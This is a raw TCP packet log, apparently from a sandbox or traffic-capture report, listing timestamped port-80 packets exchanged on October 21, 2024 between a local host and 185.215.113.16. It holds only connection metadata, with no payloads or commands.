Oct 21, 2024 10:47:09.039998055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040014029 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040030956 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040052891 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040065050 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040090084 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040097952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040127039 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040131092 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040154934 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040163040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040188074 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040195942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040220022 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040230036 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040255070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040263891 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040282011 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040317059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040318966 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040352106 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040378094 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040380955 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040410995 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040436983 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040445089 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040461063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040513039 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040544033 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040563107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040577888 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040596962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040628910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040646076 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040661097 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040702105 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040708065 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040730000 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040741920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040776968 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040800095 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040827036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040827990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040879965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040889978 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040930033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040962934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.040988922 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.040993929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041014910 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041071892 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041104078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041137934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041168928 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041217089 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041223049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041243076 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041255951 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041270971 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041290998 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041321993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041347980 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041353941 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041374922 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041387081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041405916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041436911 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041470051 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041496992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041501999 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041524887 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041532993 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041554928 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041569948 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041604042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041635990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041667938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041680098 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041702032 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041707039 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041733980 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041735888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041753054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041754961 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041768074 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041783094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041796923 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041798115 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041812897 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041826963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041832924 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041842937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041852951 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041857958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041872025 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041872978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041888952 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.041909933 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.041934013 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.053278923 CEST	80	49765	34.107.221.82	192.168.2.4
Oct 21, 2024 10:47:09.094079971 CEST	49765	80	192.168.2.4	34.107.221.82
Oct 21, 2024 10:47:09.155008078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155024052 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155039072 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155052900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155062914 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155077934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155078888 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155093908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155108929 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155108929 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155133009 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155134916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155158043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155160904 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155184031 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155189991 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155208111 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155215025 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155224085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155239105 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155253887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155268908 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155282974 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155308962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155323029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155338049 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155353069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155368090 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155381918 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155416965 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155476093 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155488014 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155508041 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155519962 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155528069 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155536890 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155550957 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155565977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155580997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155596018 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155675888 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155688047 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155703068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155716896 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155731916 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155746937 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155752897 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155764103 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155775070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155780077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155793905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155795097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155812979 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155823946 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155829906 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155844927 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155854940 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155858040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155877113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.155884981 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155906916 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.155935049 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189690113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189713001 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189723015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189743996 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189754963 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189758062 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189765930 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189779997 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189779997 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189810038 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189820051 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189865112 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189888954 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189903021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189912081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189920902 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189924002 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189938068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189944983 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189949989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189961910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189969063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.189992905 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.189996958 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190005064 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190016985 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190037966 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190049887 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190052986 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190093994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190104961 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190114021 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190145016 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190155983 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190185070 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190210104 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190244913 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190256119 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190265894 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190279007 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190304995 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190325975 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190330029 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190342903 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190354109 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190371990 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190392017 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190393925 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190403938 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190412998 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190416098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190429926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190442085 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190454006 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190500021 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190509081 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190519094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190568924 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190639973 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190653086 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190664053 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190673113 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190684080 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190694094 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190700054 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190706015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190716982 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.190740108 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.190757036 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191312075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191332102 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191344023 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191370010 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191406965 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191490889 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191503048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191514015 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191523075 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191534042 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191544056 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191551924 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191555023 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191567898 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191574097 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191580057 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191601992 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191610098 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191617966 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191628933 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191639900 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191652060 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191662073 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191673040 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191683054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191693068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191696882 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191705942 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191716909 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191730976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191730976 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191745043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191756010 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191766977 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191776991 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191798925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191806078 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191809893 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191829920 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191829920 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191843033 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191852093 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191853046 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191864967 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191876888 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191881895 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191889048 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191901922 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191911936 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191920042 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.191924095 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191937923 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.191992044 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192038059 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192049980 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192059994 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192069054 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192085028 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192094088 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192105055 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192115068 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192116976 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192126989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192137003 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192137957 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192143917 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192163944 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192173958 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192181110 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192181110 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192184925 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192192078 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192200899 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192209959 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192220926 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192230940 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192241907 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192251921 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192261934 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192284107 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192301989 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192303896 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192313910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192326069 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192337990 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192342043 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192353964 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192357063 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192367077 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192385912 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192406893 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192735910 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192747116 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192758083 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192792892 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192806005 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.192960978 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192974091 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.192984104 CEST	80	49855	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:09.193022966 CEST	49855	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:09.193053961 CEST	49855	80	192.168.2.4	185.215.113.16
